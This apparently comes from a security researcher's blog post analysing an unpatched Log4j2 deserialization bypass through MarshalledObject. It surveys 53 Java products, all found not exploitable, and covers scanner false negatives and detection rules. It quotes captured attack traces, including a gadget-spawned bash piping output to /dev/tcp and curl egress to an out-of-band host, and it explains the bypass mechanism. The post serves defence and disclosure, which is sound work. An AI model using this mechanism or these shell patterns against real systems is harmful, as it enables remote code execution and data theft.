Post

A Log4j2 RCE That Isn't Log4Shell (Probably)

A Log4j2 RCE That Isn't Log4Shell (Probably)

There’s an unpatched pre-auth RCE in Apache Log4j2. It works against the current release. It has no CVE, no vendor advisory, and no patch. A working PoC and a Nuclei template are both already public.

You probably don’t need to care very much.

Both of those are true at once, which is somewhat awkward. I spent a few hours on this: reading the upstream source, building labs, getting root shells, and then testing 53 real Java products to answer the question that actually decides your response - does this vulnerability actually appear in real products?

Zero out of 53 products I tested were exploitable.

That’s a more useful answer than a positive would have been, and the way I got there turned up a set of scanning failures that will bite you on any Java audit, not just this one.

One thing to get out of the way early. Those 53 are the products I could download. The licensed appliances (vCenter, ISE, QRadar, SAP Commerce, a couple dozen others) I couldn’t obtain, and those are the ones most likely to have wired logging up in a weird way. If one of them ships a vulnerable receiver in a default install, my advice at the bottom of this post is wrong. I’ll come back to that.

The bug

Log4j ships FilteredObjectInputStream, which I’ll call FOIS. It’s a deserialization allowlist: it overrides resolveClass() so only approved classes come off the wire. java.rmi.MarshalledObject is on that allowlist.

A MarshalledObject holds its payload as a byte[]. An allowlist built on resolveClass() can’t see into it, because resolveClass() only gets called for class descriptors in the outer stream. And when something calls MarshalledObject.get(), that method builds a fresh ObjectInputStream with no filter on it at all.

Log4j provides the call. Log4jLogEvent$LogEventProxy is the serialization proxy behind every LogEvent, it keeps the message in a MarshalledObject<Message>, and it unwraps it during deserialization:

1
2
3
4
5
6
7
8
9
10
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // fresh ObjectInputStream, no filter
        } catch (final Exception ex) {
            // ignore me
        }
    }
    return new SimpleMessage(messageString);
}

Send one serialized LogEventProxy to a FOIS-based receiver and you get unfiltered deserialization of whatever object graph you like. Every published Java gadget applies. Your payload doesn’t have to implement Message and doesn’t have to be on the allowlist.

Here’s the ironic part. FOIS was written in March 2017 to fix CVE-2017-5645, the log4j socket server deserialization RCE. The fix is being defeated by an entry on its own allowlist. If you take one thing from this post, take that: a resolveClass() allowlist can’t see inside an opaque container, so allowing any java.* container hands back everything the allowlist was supposed to keep out.

Your logs won’t help you

Go back and look at that catch block.

The gadget fires, and then .get() returns something that isn’t a Message, so the cast throws ClassCastException. Swallowed. Execution falls through to new SimpleMessage(messageString), and messageString is a plaintext field the attacker picked. The receiver logs that string at INFO and keeps taking connections.

This is everything my lab receiver logged while I had a root shell on it:

1
2
3
[server] listening on :8000
[server] INFO log event          <- this one is the RCE
[server] INFO user login ok      <- this one is an actual benign event

Same INFO level. Same format. Both HTTP 200. No exception, no stack trace, nothing.

Then it gets sillier. I ran the same payload at a receiver hardened with a JEP 290 serialization filter, where the exploit was blocked, and it logged the identical line. So the app log can’t tell you compromise from blocked attempt, because the fallback runs either way.

In class when teaching for SANS SEC560, my usual line is that all actions are observable but not all actions are observed. This is worse than that. The action is observable at the process and network layer, but the application that got owned will cheerfully tell you everything is fine. Any detection plan that waits for the victim to log an error loses here.

Why this isn’t Log4Shell

Log4Shell was ugly because the trigger was logging a string. If your app logged a User-Agent or a username, you were exploitable. That’s essentially every Java app on earth.

This needs three things at once:

  1. Something that receives serialized LogEvent objects off the network through FOIS (reminder: that’s FilteredObjectInputStream). A receiver, not a sender.
  2. log4j-core on the classpath. log4j-api by itself won’t do it, since the LogEventProxy sink lives in core.
  3. A gadget library that still works: commons-collections 3.x, commons-beanutils, groovy, beanshell, spring-beans. Note that commons-collections4 4.1 and later won’t work, which is an easy thing to get wrong during triage. “Gadget library” here means that the attacker has enough tools to execute arbitrary code when deserialized.

Condition 1 is the one that kills it, because Apache pulled the receiver out of log4j-core in 2017. The org.apache.logging.log4j.core.net.server package (TcpSocketServer, ObjectInputStreamLogEventBridge, and friends) left in commit 8865124fb1 on 2017-04-11, and it’s already gone in rel/2.9.0. At current HEAD that directory has zero files in it.

Same release deprecated SerializedLayout and dropped it as the default. SocketAppender will now tell you No layout provided for SocketAppender if you don’t pick one. Serialized log transport has been opt-in for nine years. Log4j 3.x drops the whole pattern: no FOIS, no SerializationUtil, no MarshalledObject, no LogEventProxy.

So I went and checked. 53 builds across 52 products, default config, as shipped:

  • Elasticsearch
  • Logstash
  • OpenSearch
  • Kafka
  • Confluent Platform
  • Solr
  • Cassandra
  • ZooKeeper
  • HBase 2.6.6 (log4j2) and 2.1.3 (log4j 1.x, tested separately)
  • NiFi
  • Flink
  • Spark
  • Druid
  • Storm
  • Pulsar
  • Pinot
  • Geode
  • Hadoop
  • Hive
  • Zeppelin
  • Ignite
  • Accumulo
  • JMeter
  • Knox
  • Ranger
  • Karaf
  • ActiveMQ Artemis
  • ActiveMQ Classic
  • Strimzi
  • Trino
  • Neo4j
  • Graylog
  • OpenNMS Horizon
  • Jenkins
  • SonarQube
  • Nexus
  • Keycloak
  • Jira
  • Confluence
  • Bamboo
  • Crowd
  • Bitbucket
  • WSO2 Identity Server
  • WSO2 API Manager
  • Wazuh Indexer
  • Rundeck
  • Infinispan
  • Mule Runtime CE
  • ManageEngine ADManager Plus
  • ManageEngine ServiceDesk Plus
  • Cloudera Runtime
  • Minecraft (Java Edition server)

None of them were exploitable. All 53 failed on condition 1.

What’s interesting is how many of them clear conditions 2 and 3. Druid, Kafka, OpenSearch, Jira, Confluence, Bamboo, Crowd, Solr, Geode, Hive, Knox, Rundeck, Mule, and Cloudera all ship log4j-core next to a working gadget chain. The thing keeping them safe is a class that isn’t in the box anymore.

I found two particularly amusing results. Minecraft, the original Log4Shell poster child, runs current log4j-core 2.26.0 and misses on two counts: no usable gadget among its bundled libraries, and its listeners (25565 for the game, 25575 for RCON) don’t deserialize Java objects. Separately, anything on log4j-core older than 2.8.0 can’t be hit at all, because marshalledMessage doesn’t exist yet. I checked the tags: rel/2.7 has zero references to it, rel/2.8 has four.

How far does that generalize? About as far as “software you can download freely,” which admittedly isn’t the whole world. Every product in that list uses log4j the boring way, as a library driven by a config file, and none of them has any reason to accept serialized log events over a socket. There’s plenty of code I couldn’t test, though, which may have different results. More on that at the end.

Five ways a jar scan lies to you

This is the part I’d keep even if the vulnerability turns out to be a nothing-burger, because it applies to any Java audit.

The obvious approach is something like for j in $(find / -name '*.jar'); do unzip -p "$j" | grep -qa Marker; done, run inside the container. It failed five different ways during this survey, and every one of them produced a clean result. Not an error. Clean.

False negatives are the bad kind. A false positive costs you an hour of chasing. A false negative costs you the finding, and worse, it hands you a piece of paper that says you checked.

  1. No unzip. Solr, Flink, Spark, Logstash, OpenSearch, SonarQube, and Hive don’t ship unzip. Several are also missing python3, jar, or find. The loop runs, prints nothing, exits zero. Looks exactly like a clean scan.
  2. Loose class files. A consumer deployed as exploded .class files under /app/classes or WEB-INF/classes is invisible to anything that only opens jars. My own first scanner missed a known-vulnerable image this way, which is how I found out.
  3. Repackaged and shaded cores. Elasticsearch ships log4j-core as elasticsearch-log4j-8.15.0.jar. SonarQube does the same. Bitbucket buries it inside an Atlassian plugin jar. Karaf hides it in pax-logging-*. Elastic’s APM agent renames the classes to .esclazz. Match on filenames and all five of those come back as “no log4j-core.”
  4. Nested archives. Jenkins keeps everything inside jenkins.war. Nexus keeps it in one Spring Boot fat jar. NiFi spreads it across 118 .nar bundles. A filesystem-level inventory says those products have no gadget libraries, which is wrong.
  5. A second packaging layer. Commercial installers hide the Java underneath the layer you’d naturally unpack. ADManager Plus is InstallShield CAB wrapping 465 pack200 archives. ServiceDesk Plus is an InstallAnywhere self-extractor wrapping a 7z. Cloudera ships parcels. ServiceDesk showed 18 jars before the extra extraction step and 390 after.

The fix for all five is a control. log4j-api contains FilteredObjectInputStream, so if log4j-api is present in the image, a working scan has to flag it. If it doesn’t, your scanner is broken and you’ve learned nothing about the image. I built that assertion in, and it paid off within a day: Mule Runtime CE 4.1.1 ships log4j-api 2.10.0, which predates FOIS entirely, and the control failed loudly instead of quietly reporting a clean image.

The scanner is on GitHub. It pulls the filesystem out with docker export so it doesn’t care what’s installed inside the image, walks nested archives, reads loose and renamed bytecode, finds log4j-core by content instead of filename, finds gadgets by class instead of filename, and refuses to say “clean” when it can’t prove it ran correctly.

Every single “finding” this survey produced (Graylog, Flink, Pulsar, Jira, Confluence, Zeppelin) was my own scanner being wrong. Log4j’s internal classes inside shaded jars kept looking like third-party consumers. I fixed each one and re-ran. Zero real consumers turned up. I’d rather publish that than a tidy story.

What actually catches it

The app log is useless here, so you need the other layers.

Process lineage holds up best. Gadget chains get swapped out constantly; a log receiver spawning a shell does not become normal. Here’s the lineage captured from inside my own RCE:

1
2
3
    PID    PPID USER     COMMAND
      1       0 root     java HttpLogReceiver
     29       1 root     /bin/bash -c { id; ... } 2>&1 | bash -c 'exec 3<>/dev/tcp/...'

Alert on java spawning sh, bash, curl, wget, getent, or nc, scoped to hosts whose job is log ingestion.

Egress from a log receiver is the single best indicator I found. Here’s the pcap from a live exploitation, where the victim (a log receiver, again) reaches out to the internet:

1
2
172.18.0.2:34052 <-> 178.128.210.172:80    <- victim egress
http.request:  http://<redacted>.oast.live/    User-Agent: curl/8.18.0

A service whose entire job is receiving logs has no business making outbound HTTP.

Network content inspection works fine, because nobody bothered to obfuscate any of this. Gadget class names and the full command string go across in cleartext, and I pulled both straight out of the pcap. One important exception: java.rmi.MarshalledObject is not a signature. Benign and malicious payloads are byte-identical for the first 96 bytes, and every serialized LogEvent carries a MarshalledObject by design. Signature the gadget classes, not the container.

What won’t work is inventory. “log4j-core is present” was true for most of the 53 products and predicted exploitability zero times out of 53. Gadget presence is barely better, since it’s already satisfied nearly everywhere. The only inventory signal that means anything is code that calls FOIS, and no SBOM or CVE feed is going to tell you about that.

Suricata, Sigma, and YARA rules are in the full writeup, along with the Splunk and KQL versions.

What to do about it

  1. Check your appliances first, then decide how excited to be. Version scanning is going to produce a pile of false positives, and crying wolf loses credibility. But that advice comes entirely from condition 1 being rare, which I verified on 53 things I could download and could not verify on the licensed gear you may well be running. Spend the first hour on step 2 and let your own result set your posture instead of inheriting mine.
  2. Hunt for the only thing that matters, which is code calling FOIS:
    1
    2
    
    grep -rn --include=*.java --include=*.kt -e 'FilteredObjectInputStream' \
         -e 'ObjectInputStreamLogEventBridge' -e 'createSerializedSocketServer' .
    

    For containers and installed trees, use the scanner rather than unzip | grep, for the five reasons above.

  3. If you find a receiver, put a JEP 290 filter on that JVM. I tested this and it stops the exploit:
    1
    
    -Djdk.serialFilter=!org.apache.commons.collections.**;!org.apache.commons.collections4.**;*
    

    The catch is that it blocks execution but the attacker’s chosen log line still shows up, so mitigating doesn’t buy back any visibility. Leave your detections on.

  4. Deploy the lineage and egress rules regardless. They’re cheap and they catch a whole family of Java deserialization problems, not just this one.
  5. If you have log4j 1.x anywhere, go deal with that first. One image in my survey paired log4j-1.2.17 with two working gadget libraries. That’s CVE-2019-17571: EOL, unpatchable, and a plain ObjectInputStream with no filtering whatsoever. It beats anything in this post.

What I couldn’t test

The sourcing on this whole thing is bad and you should know it. The GitHub issue everyone points at, apache/logging-log4j2#4255, renders as an empty closed post titled “Something wrong Happen” from a deleted account. The technical report that used to live there is credited to U-Sec (Wujie Security), and the only public copies are an archive.ph snapshot and the mirror I put in my repo. It’s worth reading in full, since it documents the flaw more precisely than most CVE writeups manage, including the setObjectInputFilter() detail that makes this work on every JDK. I reproduced it unmodified, including the one claim in it I couldn’t verify. No CVE, no Apache advisory, no patch, no maintainer response anywhere public. Your vuln management tooling is not going to flag this for you.

Worth saying plainly since I’m rehosting someone else’s disclosure: that research is U-Sec’s, not mine. I’m hosting it because a defensive writeup shouldn’t cite a source that has since been emptied, and because the people who found this deserve to have their work stay readable.

And then there’s the gap, which is the weakest part of this analysis.

35 more candidates that AI and I could think of (VMware, Cisco, IBM, SAP) are licensed and couldn’t be downloaded freely. Upstream stand-ins cover some of it: Infinispan for Data Grid, Strimzi for AMQ Streams, Artemis for AMQ Broker, Geode for GemFire. That still leaves 29 products with no public equivalent, untested.

Those 29 aren’t a random leftover sample. They’re appliances: big closed Java stacks that ship their own management planes, their own inter-node protocols, and their own log aggregation between components. Every one of my 53 negatives came from software that uses log4j the ordinary way. Appliances are exactly where somebody might have hand-rolled a serialized LogEvent receiver, because they had an actual reason to move log events between processes. The vendor advisories from the Log4Shell era prove log4j is present in these products. They say nothing about whether anything receives serialized log events, and nobody has published that answer, me included.

So here’s what would and wouldn’t move:

  • The bug itself doesn’t change. It’s verified in source, unpatched, and reproducible against Apache’s own bridge code on 2.26.1.
  • The severity doesn’t change either. It’s already pre-auth RCE.
  • The advice in the previous section changes completely. “Hunt narrowly, but skip the fire drill” is my advice as of now, based upon what I could test. If a default vCenter or ISE install turns out to expose a FOIS receiver on a listening port, this stops being a narrow hunt and turns into an emergency inventory-and-patch cycle across an enormous installed base.

Apache deleted the receiver in 2017, so an appliance shipping one today had to write or vendor it on purpose, and 53 products’ worth of evidence says almost nobody does. Early signs are that the FOIS receiver pattern is rare.

But “rare among things I could download” isn’t necessarily rare. Test your own appliances.

If you run those appliances, you can close this in about a minute, and you’re the only one who can:

1
2
3
grep -rl 'FilteredObjectInputStream' /opt/<product>/    # installed tree
python scan_image.py <your-image>                       # containerized
ss -ltnp | grep -i java                                 # listeners vs. known-good ports

If you turn one up, please tell me (email: my first name at roguevalleyinfosec.com).

One more loose end worth chasing, if anyone’s inclined. The receiver pattern isn’t extinct, log4j is just the stack that removed it. Apache Karaf’s pax-logging-logback bundle still ships SimpleSocketServer and a live net/server/* package today. It’s a serialized log event receiver. It’s not log4j’s, it’s logback’s, and it wraps the stream in logback’s own HardenedObjectInputStream, which is another resolveClass()-style allowlist looking at the same structural problem that beat FOIS. That’s not Log4j2, but a similar pattern.

Resources

Everything below is already public. I’m linking the existing PoC and detection work rather than reproducing it, and nothing here adds capability that wasn’t already out there.

Prior work:

Mine:

A note on the Nuclei template, since people will reach for it. It works. I confirmed it as a true positive against both a raw TCP receiver and Apache’s own bridge on 2.26.1. But it speaks raw TCP only, and against an HTTP-fronted receiver that I had already rooted, it found nothing. A clean Nuclei run is not evidence that you’re fine. Pair it with an actual code and binary inventory.

This post is licensed under CC BY 4.0 by the author.